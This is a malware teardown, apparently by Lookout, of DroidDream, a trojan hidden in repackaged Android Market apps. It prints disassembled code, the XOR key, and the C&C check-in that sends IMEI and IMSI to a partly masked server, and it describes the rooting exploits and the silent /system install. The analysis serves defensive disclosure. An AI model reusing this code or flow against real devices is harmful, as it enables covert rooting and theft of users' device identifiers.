Lookout Mobile Security Technical Tear Down Threat Name DroidDream, Payload One & Two Sample used in the analysis Payload One Package: com.droiddream.bowlingtime MD5: d4fa864eedcf47fb7119e6b5317a4ac8 Payload Two Package: MD5: com.android.provider.download ecc970647a187a710df723f5dbd567a0 The Threat Multiple applications available in the official Android Market were found to contain malware which could compromise a significant amount of personal data. More than 50 applications were found to be infected with a new type of Android malware called DroidDream. Similar to previous instances of Android malware that have been found on alternative Android app markets, the authors of DroidDream hid the malware in seemingly legitimate applications to trick unsuspecting users into downloading the malware a growing trend in mobile threats. How it starts The malware activity uses little obfuscation to hide itself. It comes in the form of a repackaged legitimate application, often a paid application. Within the application, the malware hides by embedding itself using the namespace com.android.root. In the DroidDream samples we analyzed (Bowling Time), the malware cannot start automatically: it requires the user to manually run the infected application. Additionally, it has modified the AndroidManifest.xml to launch itself prior to the primary app s activity. <activity android:name="com.android.root.main"> <intent-filter> <action android:name="android.intent.action.main"></action> <category android:name="android.intent.category.launcher"></category> </intent-filter> </activity> Inside the com.android.root.main activity we can see that the malware will start its own service and then launch the host application s primary activity. The service invoked is labeled as the com.android.root. The Setting service will notify the command and control server and attempt to root the device. First the malware will contact the command and control server identifying the compromised device. The following is a decrypted request that is sent to the server: <?xml version="1.0" encoding="utf-8"?>
<Request> <Protocol>1.0</Protocol> <Command>0</Command> <ClientInfo> <Partner>502</Partner> <ProductId>10011</ProductId> <IMEI>3591160303XXXXX</IMEI> <IMSI>3102605824XXXXX</IMSI> <Modle>vision:9</Modle> </ClientInfo> </Request> We can see here that it is exposing unique identifiers for the device: IMEI, IMSI and device model and SDK version. The Partner and ProductId are both specific integers to the DroidDream variant and do not change device to device. The following is a decrypted response from the server: <?xml version="1.0" encoding="utf-8"?> <Reply> <Protocol>1.0</Protocol> <Command>0</Command> </Reply> The above response is parsed by the malware, saving the response. If the response is the same as the above, then it will save the value to shared preferences as pref_config_setting -> done with a value of 1. This value is checked on later attempts to check into the server. If done is set to 1 then the malware will not check-in, resulting in the application only performing one checkin. The crypto is a simple XOR with an embedded key, implemented in com.android.root.adbroot.crypto. A quick pass at the dalvik code will result similar code as shown below: public static void decrypt(byte[] bytes) { KEY = "6^)(9-p35a%3#4S!4S0)$Yt%^&5(j.g^&o(*0)$Yv!#O@6GpG@=+3j.&6^)(0- =1".getBytes(); keylen = KEY.length; int i = 0, position = 0; while (position <= bytes.length) { int m = bytes[position]; int n = KEY [i]; bytes[position] = (byte) (m ^ n); i += 1; if (i == keylen) { i = 0; } position += 1; } }
We see this function being used to decrypt the URL which is stored in the byte array u in the com.android.root.setting class. This is the command and control server which the malware will be communicating with: http://184.105.xxx.xx:8080/gmserver/gmservlet The rest of the service implements the infection cycle. It checks to see if the device is infected already by checking for the presence of /system/bin/profile. If the file does exist, it will not reinfect the device, otherwise it will continue the infection process. Attempts to Root Device Two attempts are made to root the device, both relying on exploits developed by Sebastian Krahmer. The first attempt uses exploid to attempt to exploit a vulnerability in udev event handling in Android s init. If exploid fails to do the job, DroidDream attempts to use rageagainstthecage, leveraging a vulnerability in adbd s attempt to drop its privileges. This is highlighted by the code below; // Does "/system/bin/profile" exist? new-instance v2, Ljava/io/File; const-string v4, "/system/bin/profile" invoke-direct {v2, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V.local v2, f:ljava/io/file; invoke-virtual {v2}, Ljava/io/File;->exists()Z move-result v4 if-eqz v4, :cond_2e // If yes, then no need to root the device invoke-direct {p0, v5}, Lcom/android/root/Setting;->destroy(Z)V :cond_2d :goto_2d return-void // Else attempt exploid payload :cond_2e new-instance v3, Lcom/android/root/udevRoot; iget-object v4, p0, Lcom/android/root/Setting;->ctx:Landroid/content/Context; invoke-direct {v3, v4}, Lcom/android/root/udevRoot;-><init>(Landroid/content/Context;)V.local v3, udev:lcom/android/root/udevroot; invoke-virtual {v3}, Lcom/android/root/udevRoot;->go4root()Z move-result v4 // Did payload succeed? if-eqz v4, :cond_3f // If yes, then don't continue invoke-direct {p0, v5}, Lcom/android/root/Setting;->destroy(Z)V goto :goto_2d // If not the attempt rageagainstthecage payload :cond_3f new-instance v0, Lcom/android/root/adbRoot; iget-object v4, p0, Lcom/android/root/Setting;->ctx:Landroid/content/Context;
iget-object v5, p0, Lcom/android/root/Setting;->handler:Landroid/os/Handler; invoke-direct {v0, v4, v5}, Lcom/android/root/adbRoot;- ><init>(landroid/content/context;landroid/os/handler;)v.local v0, adb:lcom/android/root/adbroot; invoke-virtual {v0}, Lcom/android/root/adbRoot;->go4root()Z After both of the steps above have completed, the malware checks to see if the package com.android.providers.downloadsmanager is installed. If this package is not found it will install the second payload, which is bundled as sqlite.db. This part of the malware will be copied to the /system/app/ directory, installing itself as DownloadProviderManager.apk. Copying the file using this method, to this directory will silently install the APK file, and not prompt the user to grant permission..method private destroy(z)v if-eqz p1, :cond_15 // Check if package "com.android.providers.downloadsmanager" has already been installed iget-object v0, p0, Lcom/android/root/Setting;->ctx:Landroid/content/Context; const-string v1, "com.android.providers.downloadsmanager" invoke-static {v0, v1}, Lcom/android/root/Setting;- >ispackageinstalled(landroid/content/context;ljava/lang/string;)z move-result v0 if-nez v0, :cond_15 // If it hasn't, then copy the payload to /system/app/ as "DownloadProvidersManager.apk" iget-object v0, p0, Lcom/android/root/Setting;->ctx:Landroid/content/Context; const-string v1, "sqlite.db" const-string v2, "DownloadProvidersManager.apk" invoke-static {v0, v1, v2}, Lcom/android/root/Setting;- >cpfile(landroid/content/context;ljava/lang/string;ljava/lang/string;)z :cond_15 invoke-virtual {p0}, Lcom/android/root/Setting;->stopSelf()V return-void.end method After the above steps have completed, this payload is done. There is nothing else that the payload has been designed to do it only implements this one mode of infection then waits for the second payload it installed, DownloadProviderManager.apk, to do the rest of the work. This may have been a choice implemented by the malware authors to keep the infection code separate from the other commands, keeping the infection packages smaller. DroidDream, Payload Two Sample used in the analysis Package: com.android.provider.download MD5: ecc970647a187a710df723f5dbd567a0 Once the second stage payload is delivered and installed by the primary infector, it sits and waits silently to be activated. There is no icon on the application tray, and it cannot be found by
other user-managed applications on the file system since it is installed on the /system partition. Unlike the previous stage, it is not executed by the user, but triggered by Intents it listens for on the device. As we see in AndroidManifest.xml, entry points consist of a receiver for BOOT_COMPLETED and PHONE_STATE intents as well as a single service: <application android:label="com.android.providers.downloadsmanager"> <receiver android:name=".downloadcompletereceiver" android:enabled="true"> <intent-filter> <action android:name="android.intent.action.boot_completed"></action> <category android:name="android.intent.category.default"></category> </intent-filter> <intent-filter> <action android:name="android.intent.action.phone_state"></action> <category android:name="android.intent.category.default"></category> </intent-filter> </receiver> <service android:name=".downloadmanageservice"></service> </application> When either Intent is fired, com.android.providers.downloadsmanager.downloadcompletereceiver starts. The flow of this receiver is rather simple. First, it checks its internal SQLite database to determine if it s already performing a sync. If not, it proceeds if the current date is greater than or up to 5 days preceding the value of its NextConnectTime preference. If the connect time is within the functional range, it launches its internal service, and if the receiver was triggered by DOWNLOAD_COMPLETED, it passes on the data from this intent to an internal handler for processing.
Relevant disassembled code from DownloadCompleteReceiver.onReceive(Context context, Intent intent): // Main entry point for malware # virtual methods.method public onreceive(landroid/content/context;landroid/content/intent;)v.registers 8 const-class v4, Lcom/android/providers/downloadsmanager/DownloadManageService; iput-object p1, p0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->b:landroid/content/context; // Get SQLite handler new-instance v0, Lcom/android/providers/downloadsmanager/b; iget-object v1, p0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->b:landroid/content/context; invoke-direct {v0, v1}, Lcom/android/providers/downloadsmanager/b;- ><init>(landroid/content/context;)v iget-object v1, p0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->b:landroid/content/context; invoke-static {v1}, Lcom/android/providers/downloadsmanager/e;- >a(landroid/content/context;)lcom/android/providers/downloadsmana ger/e; move-result-object v1 // Get date (YYYYMMDD) in form of string invoke-static {}, Ljava/util/Calendar;- >getinstance()ljava/util/calendar; invoke-static {v2}, Lcom/android/providers/downloadsmanager/a;- >a(ljava/util/calendar;)ljava/lang/string; // Check a sync is in progress (synctime=0) invoke-virtual {v1}, Lcom/android/providers/downloadsmanager/e;->d()Z move-result v1 // If a sync is in progress y, do nothing if-nez v1, :cond_44 // Get "NextConnectTime" from shared prefs, default is "20101102" invoke-virtual {v0}, Lcom/android/providers/downloadsmanager/b;->a()Ljava/lang/String; move-result-object v1 // Compare to current date invoke-virtual {v2, v1}, Ljava/lang/String;- >compareto(ljava/lang/string;)i move-result v1 // If the date is after NextConnectTime, then continue if-gez v1, :cond_44 new-instance v1, Ljava/lang/Integer; invoke-direct {v1, v2}, Ljava/lang/Integer;- ><init>(ljava/lang/string;)v new-instance v2, Ljava/lang/Integer; // Get shared pref for NextConnectTime, again invoke-virtual {v0}, Lcom/android/providers/downloadsmanager/b;->a()Ljava/lang/String; move-result-object v0
// Convert NextConnectTime to an int invoke-direct {v2, v0}, Ljava/lang/Integer;- ><init>(ljava/lang/string;)v invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I move-result v0 // Convert our current date to an int invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I move-result v1 // Subtract current time from NextConnectTime sub-int/2addr v0, v1 // See if the difference is less than or equal to 5, if it isn t - exit (5 day window) const/4 v1, 0x5 if-le v0, v1, :cond_44 :cond_43 :goto_43 return-void // NextConnectTime has passed, continue :cond_44 // Get the actual intent that the receiver was triggered on invoke-virtual {p2}, Landroid/content/Intent;- >getaction()ljava/lang/string; move-result-object v0 // Compare to below intent const-string v1, "android.intent.action.boot_completed" invoke-virtual {v0, v1}, Ljava/lang/String;- >equals(ljava/lang/object;)z move-result v0 if-nez v0, :cond_5c // Get the actual intent that the receiver was triggered on invoke-virtual {p2}, Landroid/content/Intent;- >getaction()ljava/lang/string; move-result-object v0 // Compare to below intent const-string v1, "android.intent.action.phone_state" invoke-virtual {v0, v1}, Ljava/lang/String;- >equals(ljava/lang/object;)z move-result v0 if-eqz v0, :cond_6b // If it was triggered by a BOOT or STATE change, then do the below code, if not skip it :cond_5c // Fire up the internal service iget-object v0, p0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->b:landroid/content/context; new-instance v1, Landroid/content/Intent; iget-object v2, p0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->b:landroid/content/context; const-class v3, Lcom/android/providers/downloadsmanager/DownloadManageService; invoke-direct {v1, v2, v4}, Landroid/content/Intent;- ><init>(landroid/content/context;ljava/lang/class;)v invoke-virtual {v0, v1}, Landroid/content/Context;- >startservice(landroid/content/intent;)landroid/content/component Name; goto :goto_43
:cond_6b // Get the actual intent that the receiver was triggered on invoke-virtual {p2}, Landroid/content/Intent;- >getaction()ljava/lang/string; move-result-object v0 // Compare to below intent const-string v1, "android.intent.action.download_completed" invoke-virtual {v0, v1}, Ljava/lang/String;- >equals(ljava/lang/object;)z move-result v0 if-eqz v0, :cond_43 // Fire up the internal service iget-object v0, p0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->b:landroid/content/context; new-instance v1, Landroid/content/Intent; iget-object v2, p0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->b:landroid/content/context; const-class v3, Lcom/android/providers/downloadsmanager/DownloadManageService; invoke-direct {v1, v2, v4}, Landroid/content/Intent;- ><init>(landroid/content/context;ljava/lang/class;)v invoke-virtual {v0, v1}, Landroid/content/Context;- >startservice(landroid/content/intent;)landroid/content/component Name; // Get the handler sget-object v0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->a:landroid/os/handler; if-eqz v0, :cond_43 sget-object v0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->a:landroid/os/handler; const/4 v1, 0x1 // Get data from the DOWNLOAD_COMPLETE intent invoke-virtual {p2}, Landroid/content/Intent;- >getdata()landroid/net/uri; invoke-virtual {v0, v1, v2}, Landroid/os/Handler;- >obtainmessage(iljava/lang/object;)landroid/os/message; move-result-object v0 // Send the data to the handler (object type c) sget-object v1, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->a:landroid/os/handler; invoke-virtual {v1, v0}, Landroid/os/Handler;- >sendmessage(landroid/os/message;)z goto :goto_43.end method DownloadManageService controls a timer-scheduled task, initializes the SQLite tables and manages the download handler. It schedules the task com.android.providers.downloadsmanager.d to run for two hours at a time, with a delay of two minutes between executions. This is evident in the oncreate() method of DownloadManageService as shown below:
// Where the time task is created.method public oncreate()v.registers 7 const/4 v5, 0x2 const/4 v4, 0x0 invoke-super {p0}, Landroid/app/Service;->onCreate()V // Get SQLite handler and save it iput-object p0, p0, >c:landroid/content/context; invoke-static {p0}, Lcom/android/providers/downloadsmanager/e;- >a(landroid/content/context;)lcom/android/providers/downloadsmana ger/e; move-result-object v0 iput-object v0, p0, >b:lcom/android/providers/downloadsmanager/e; // Save the handler iget-object v0, p0, >e:landroid/os/handler; sput-object v0, Lcom/android/providers/downloadsmanager/DownloadCompleteReceiver; ->a:landroid/os/handler; // Create a shared_preference manager object and save it new-instance v0, Lcom/android/providers/downloadsmanager/b; invoke-direct {v0, p0}, Lcom/android/providers/downloadsmanager/b;- ><init>(landroid/content/context;)v iput-object v0, p0, >a:lcom/android/providers/downloadsmanager/b; // Create a new timer, with the task, setting the time to be new-instance v0, Ljava/util/Timer; invoke-direct {v0}, Ljava/util/Timer;-><init>()V iget-object v1, p0, >f:ljava/util/timertask; // Returns 120000ms (delay of 2 minutes) invoke-static {v4, v5}, Lcom/android/providers/downloadsmanager/a;->a(II)J move-result-wide v2 // Returns 7200000ms (period of 2 hours) invoke-static {v5, v4}, Lcom/android/providers/downloadsmanager/a;->a(II)J move-result-wide v4 // Schedule the timer task invoke-virtual/range {v0.. v5}, Ljava/util/Timer;- >schedule(ljava/util/timertask;jj)v return-void.end method
DroidDream- The Name The malware has been very aptly named DreamDroid both for the structure of package naming and constraints its author(s) placed on its execution. We can see this in the first few lines of the scheduled thread: // Get the current time (in for of hours) invoke-static {}, Ljava/util/Calendar;- >getinstance()ljava/util/calendar; move-result-object v0 invoke-virtual {v0}, Ljava/util/Calendar;- >gettime()ljava/util/date; move-result-object v1 invoke-virtual {v1}, Ljava/util/Date;->getHours()I move-result v1 // Check if it's currently after 23:00 and before 08:00 const/16 v2, 0x17 if-gt v1, v2, :cond_1c const/16 v2, 0x8 if-ge v1, v2, :cond_1d // If the droid isn't dreaming, don't do anything evil, cause nightmares later :cond_1c :goto_1c return-void The thread checks the database of scheduled downloads to see if there are any entries that have not started or completed. If downloads have not been started, it will initiate them. If there are stale or completed downloads, it will remove them. Downloading is accomplished by the Android Download Provider by passing a URI to content://downloads/download.. Listening for the DOWNLOAD_COMPLETED Intent as described above, allows the malware to be notified when the download has completed. More on this later. :cond_1d // Get DownloadManagerService synthetic member iget-object v1, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; // Get a proper instance of the SQLite database handler invoke-static {v1}, Lcom/android/providers/downloadsmanager/e;- >a(landroid/content/context;)lcom/android/providers/downloadsmana ger/e; move-result-object v1 // Remove entries in the "apps" table that have a "synctime!=0" (unfinished app syncs) invoke-virtual {v1}, Lcom/android/providers/downloadsmanager/e;->c()V // Get a cursor from the "apps" table pointing to "packagenames" that "download_finished= 0 AND starttime=0" (stale downloads) invoke-virtual {v1}, Lcom/android/providers/downloadsmanager/e;- >a()landroid/database/cursor; // If there are stale downloaded, then continue else goto cond_36 if-eqz v2, :cond_36
move v3, v11 :goto_2d // Get the count of stale downloads invoke-interface {v2}, Landroid/database/Cursor;->getCount()I move-result v4 // If no stale downloads, close the cursor, else goto cond_18b if-lt v3, v4, :cond_18b invoke-interface {v2}, Landroid/database/Cursor;->close()V // Downloads initiator stub :cond_18b // Move the cursor to the first app download invoke-interface {v2, v3}, Landroid/database/Cursor;- >movetoposition(i)z new-instance v4, Landroid/content/ContentValues; invoke-direct {v4}, Landroid/content/ContentValues;- ><init>()v // Get the _id const-string v5, "_id" invoke-interface {v2, v5}, Landroid/database/Cursor;- >getcolumnindex(ljava/lang/string;)i move-result v5 invoke-interface {v2, v5}, Landroid/database/Cursor;- >getlong(i)j move-result-wide v5 // Get the "try" state const-string v7, "try" invoke-interface {v2, v7}, Landroid/database/Cursor;- >getcolumnindex(ljava/lang/string;)i move-result v7 invoke-interface {v2, v7}, Landroid/database/Cursor;- >getint(i)i move-result v7 // Check if the state is less than of equal to three, which is not download const/4 v8, 0x3 if-lt v7, v8, :cond_1b7 // Remove the download app if it has been download iget-object v4, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; invoke-static {v4}, >b(lcom/android/providers/downloadsmanager/downloadmanageservice; )Lcom/android/providers/downloadsmanager/e; move-result-object v4 invoke-virtual {v4, v5, v6}, Lcom/android/providers/downloadsmanager/e;->a(J)V // Loop and continue to the next download in database :cond_1b3 :goto_1b3 add-int/lit8 v3, v3, 0x1 goto/16 :goto_2d // Start of downloading the apps :cond_1b7 // Get the package name const-string v10, "packagename"
invoke-interface {v2, v10}, Landroid/database/Cursor;- >getcolumnindex(ljava/lang/string;)i move-result v5 invoke-interface {v2, v5}, Landroid/database/Cursor;- >getstring(i)ljava/lang/string; // Save package name invoke-virtual {v4, v10, v5}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Save current time as start time const-string v5, "starttime" invoke-static {}, Ljava/lang/System;->currentTimeMillis()J move-result-wide v8 invoke-static {v8, v9}, Ljava/lang/Long;- >valueof(j)ljava/lang/long; move-result-object v6 invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/long;)v // Initialize the try as 1 const-string v5, "try" add-int/lit8 v6, v7, 0x1 invoke-static {v6}, Ljava/lang/Integer;- >valueof(i)ljava/lang/integer; move-result-object v6 invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/integer;)v // Get and save the url const-string v5, "url" invoke-interface {v2, v5}, Landroid/database/Cursor;- >getcolumnindex(ljava/lang/string;)i move-result v5 invoke-interface {v2, v5}, Landroid/database/Cursor;- >getstring(i)ljava/lang/string; const-string v6, "packagename" invoke-interface {v2, v10}, Landroid/database/Cursor;- >getcolumnindex(ljava/lang/string;)i move-result v6 // See if we need to loop for another download invoke-interface {v2, v6}, Landroid/database/Cursor;- >getstring(i)ljava/lang/string; move-result-object v6 invoke-static {v5}, Landroid/text/TextUtils;- >isempty(ljava/lang/charsequence;)z move-result v7 if-nez v7, :cond_1b3 // If not iget-object v7, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; new-instance v8, Ljava/lang/StringBuilder; invoke-static {}, >a()ljava/lang/string; move-result-object v9 invoke-static {v9}, Ljava/lang/String;-
>valueof(ljava/lang/object;)ljava/lang/string; move-result-object v9 invoke-direct {v8, v9}, Ljava/lang/StringBuilder;- ><init>(ljava/lang/string;)v invoke-virtual {v8, v6}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; move-result-object v6 invoke-virtual {v6}, Ljava/lang/StringBuilder;- >tostring()ljava/lang/string; move-result-object v6 // Inject the download into content://downloads/download invoke-virtual {v7, v5, v6}, >a(ljava/lang/string;ljava/lang/string;)v iget-object v5, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; // Get SQLite handler invoke-static {v5}, >b(lcom/android/providers/downloadsmanager/downloadmanageservice; )Lcom/android/providers/downloadsmanager/e; // Save content to "apps" sql table invoke-virtual {v5, v4}, Lcom/android/providers/downloadsmanager/e;- >b(landroid/content/contentvalues;)j // Loop to next download goto :goto_1b3 The next block of code gathers user and device information for transmission to the command and control: ProductID Specific to the DroidDream variant Partner Specific to the DroidDream variant IMSI IMEI Model & SDK value Language Country UserID Though this does not appear to be fully implemented After gathering the data, it attempts to enumerate packages it has installed, but not yet reported back to the server. If there are any packages to report on, it builds and transmits a Command 2 payload with the number of total packages and each individual package name that has been installed by DroidDream. :cond_36 // Get current date that in string form, YYYYMM invoke-static {v0}, Lcom/android/providers/downloadsmanager/a;- >a(ljava/util/calendar;)ljava/lang/string; move-result-object v0 // Get a cursor from the "apps" table that have "synctime=0 AND
download_finished=1" Download has finished, but isn't synced invoke-virtual {v1}, Lcom/android/providers/downloadsmanager/e;- >b()landroid/database/cursor; // If there are any results, continue with Command 2, otherwise goto Command 1 if-eqz v2, :cond_108 // Get the count invoke-interface {v2}, Landroid/database/Cursor;->getCount()I move-result v3 // Skip over this code if the count is zero and goto Command 1 if-lez v3, :cond_108 // Get information for reporting new-instance v3, Landroid/content/ContentValues; invoke-direct {v3}, Landroid/content/ContentValues;- ><init>()v // ProductId = 10011 const-string v4, "ProductId" invoke-static {}, Lcom/android/providers/downloadsmanager/a;- >b()ljava/lang/string; invoke-virtual {v3, v4, v5}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Partner = 502 const-string v4, "Partner" invoke-static {}, Lcom/android/providers/downloadsmanager/a;- >a()ljava/lang/string; invoke-virtual {v3, v4, v5}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Get devices IMSI const-string v4, "IMSI" iget-object v5, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; invoke-static {v5}, >a(lcom/android/providers/downloadsmanager/downloadmanageservice; )Landroid/content/Context; invoke-static {v5}, Lcom/android/providers/downloadsmanager/a;- >b(landroid/content/context;)ljava/lang/string; invoke-virtual {v3, v4, v5}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Get devices IMEI const-string v4, "IMEI" iget-object v4, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; invoke-static {v4}, >a(lcom/android/providers/downloadsmanager/downloadmanageservice; )Landroid/content/Context; move-result-object v4 invoke-static {v4},
Lcom/android/providers/downloadsmanager/a;- >a(landroid/content/context;)ljava/lang/string; move-result-object v4 invoke-virtual {v3, v14, v4}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Get Model:SDK_INT const-string v4, "Model" new-instance v5, Ljava/lang/StringBuilder; sget-object v6, Landroid/os/Build;->DEVICE:Ljava/lang/String; invoke-static {v6}, Ljava/lang/String;- >valueof(ljava/lang/object;)ljava/lang/string; move-result-object v6 invoke-direct {v5, v6}, Ljava/lang/StringBuilder;- ><init>(ljava/lang/string;)v const-string v6, ":" invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; sget v6, Landroid/os/Build$VERSION;->SDK_INT:I invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;- >append(i)ljava/lang/stringbuilder; invoke-virtual {v5}, Ljava/lang/StringBuilder;- >tostring()ljava/lang/string; invoke-virtual {v3, v4, v5}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Get default language const-string v4, "Language" invoke-static {}, Ljava/util/Locale;- >getdefault()ljava/util/locale; invoke-virtual {v5}, Ljava/util/Locale;- >getlanguage()ljava/lang/string; invoke-virtual {v3, v4, v5}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Get default country const-string v4, "Country" invoke-static {}, Ljava/util/Locale;- >getdefault()ljava/util/locale; move-result-object v4 invoke-virtual {v4}, Ljava/util/Locale;- >getcountry()ljava/lang/string; move-result-object v4 invoke-virtual {v3, v13, v4}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Get UserID from shared prefs "uid" as key (never appears to be set) const-string v4, "UserId" iget-object v5, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; invoke-static {v5}, >c(lcom/android/providers/downloadsmanager/downloadmanageservice;
)Lcom/android/providers/downloadsmanager/b; invoke-virtual {v5}, Lcom/android/providers/downloadsmanager/b;->b()Ljava/lang/String; invoke-virtual {v3, v4, v5}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Another check to see if the cursor exists if-eqz v2, :cond_e0 invoke-interface {v2}, Landroid/database/Cursor;->getCount()I move-result v4 // Make sure there are results to use if-lez v4, :cond_e0 // Get the number of packages, and insert it as the PackageCount const-string v4, "PackageCount" invoke-interface {v2}, Landroid/database/Cursor;->getCount()I move-result v5 invoke-static {v5}, Ljava/lang/Integer;- >valueof(i)ljava/lang/integer; invoke-virtual {v3, v4, v5}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/integer;)v move v4, v11 :goto_da // If packages where found, go to the the packagename listing code block invoke-interface {v2}, Landroid/database/Cursor;->getCount()I move-result v5 if-lt v4, v5, :cond_21c // List package names :cond_21c invoke-interface {v2, v4}, Landroid/database/Cursor;- >movetoposition(i)z // Get package name new-instance v5, Ljava/lang/StringBuilder; const-string v6, "PackageName" invoke-direct {v5, v6}, Ljava/lang/StringBuilder;- ><init>(ljava/lang/string;)v invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;- >append(i)ljava/lang/stringbuilder; invoke-virtual {v5}, Ljava/lang/StringBuilder;- >tostring()ljava/lang/string; const-string v6, "packagename" invoke-interface {v2, v10}, Landroid/database/Cursor;- >getcolumnindex(ljava/lang/string;)i move-result v6 invoke-interface {v2, v6}, Landroid/database/Cursor;- >getstring(i)ljava/lang/string; move-result-object v6 invoke-virtual {v3, v5, v6}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/string;)v // Loop to next package name add-int/lit8 v4, v4, 0x1 goto/16 :goto_da // Command 1 start
:cond_108 if-eqz v2, :cond_10d invoke-interface {v2}, Landroid/database/Cursor;->close()V :cond_10d iget-object v1, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; invoke-static {v1}, >c(lcom/android/providers/downloadsmanager/downloadmanageservice; )Lcom/android/providers/downloadsmanager/b; move-result-object v1 // Get NextConnectTime invoke-virtual {v1}, Lcom/android/providers/downloadsmanager/b;->a()Ljava/lang/String; move-result-object v1 // Compare current YYYYMMDD to v1 invoke-virtual {v0, v1}, Ljava/lang/String;- >compareto(ljava/lang/string;)i move-result v0 // See if we should sync with C&C server if-ltz v0, :cond_23f // Same style of code above, no need to repaste, collects same data without packages invoke-direct {v1, v2}, ><init>(landroid/content/context;)v // Submit a Command "1" with request of v0 invoke-virtual {v1, v12, v0}, >a(ilandroid/content/contentvalues;)i // Goto the C&C connector goto/16 :goto_1c After the command is initialized, it transmits the data to its C&C, formatting the gathered ContentValues as XML and encrypting them. The encrypted string is transmitted to the same C&C as the previous payload using the same XOR scheme and key used in the infector payload. Code for this transaction follows: :cond_e0 // Initialize the HTTP processor (includes crypto) new-instance v4, Lcom/android/providers/downloadsmanager/a/e; iget-object v5, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; invoke-static {v5}, >a(lcom/android/providers/downloadsmanager/downloadmanageservice; )Landroid/content/Context; invoke-direct {v4, v5}, ><init>(landroid/content/context;)v const/4 v5, 0x2 // Submit whatever command with request v3
invoke-virtual {v4, v5, v3}, >a(ilandroid/content/contentvalues;)i move-result v4 if-ne v4, v12, :cond_108 invoke-virtual {v3}, Landroid/content/ContentValues;- >clear()v // Save current time in mills as sync time const-string v4, "synctime" invoke-static {}, Ljava/lang/System;->currentTimeMillis()J move-result-wide v5 invoke-static {v5, v6}, Ljava/lang/Long;- >valueof(j)ljava/lang/long; invoke-virtual {v3, v4, v5}, Landroid/content/ContentValues;- >put(ljava/lang/string;ljava/lang/long;)v invoke-virtual {v1, v3}, Lcom/android/providers/downloadsmanager/e;- >c(landroid/content/contentvalues;)v // Remove apps that are not synced, since we just synced them invoke-virtual {v1}, Lcom/android/providers/downloadsmanager/e;->c()V // Close the cursor if needed :cond_108 if-eqz v2, :cond_10d invoke-interface {v2}, Landroid/database/Cursor;->close()V :cond_10d // The code checks if the we should sync, which we obviously should now, so this check will fail if-ltz v0, :cond_23f :cond_23f // Check if we should continue due to a close sync time, or stop the service iget-object v0, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; invoke-static {v0}, >d(lcom/android/providers/downloadsmanager/downloadmanageservice; )Z move-result v0 // Check if we should stop the service if-eqz v0, :cond_1c iget-object v0, p0, Lcom/android/providers/downloadsmanager/d;- >a:lcom/android/providers/downloadsmanager/downloadmanageservice; invoke-virtual {v0}, >stopself()v // exit out goto/16 :goto_1c
Commands from C&C We find the communication service and command engine in com.android.providers.downloadsmanager.a.e. Inside the a(int command, ContentValues content) function, the request is turned into XML, encrypted, sent to the server and its response is parsed. The response may contain a NextConnectTime, which is then saved to the shared preferences. The response can also contain a DownloadUrl and PackageName. It appears that there is incomplete functionality here to monitor ratings, comments, asset IDs, and install states. We speculate that the author(s) intended to monitor Market activity and potentially rate/comment on downloaded applications. // Command execution engine # virtual methods.method public final declared-synchronized a(ilandroid/content/contentvalues;)i.registers 10 const/4 v4, 0x0 const/16 v6, 0x8 const/4 v5, 0x1 // Monitoring "this" monitor-enter p0 const/4 v0, 0x0 :try_start_6 // Destroy the handler iput-object v0, p0, >f:landroid/os/handler; // Get the context iget-object v0, p0, >d:landroid/content/context; // Left over debug statement to do Log.d("getObj", "command: 1"); (or command: 2) const-string v1, "getobj" new-instance v2, Ljava/lang/StringBuilder; const-string v3, "command: " invoke-direct {v2, v3}, Ljava/lang/StringBuilder;- ><init>(ljava/lang/string;)v invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;- >append(i)ljava/lang/stringbuilder; 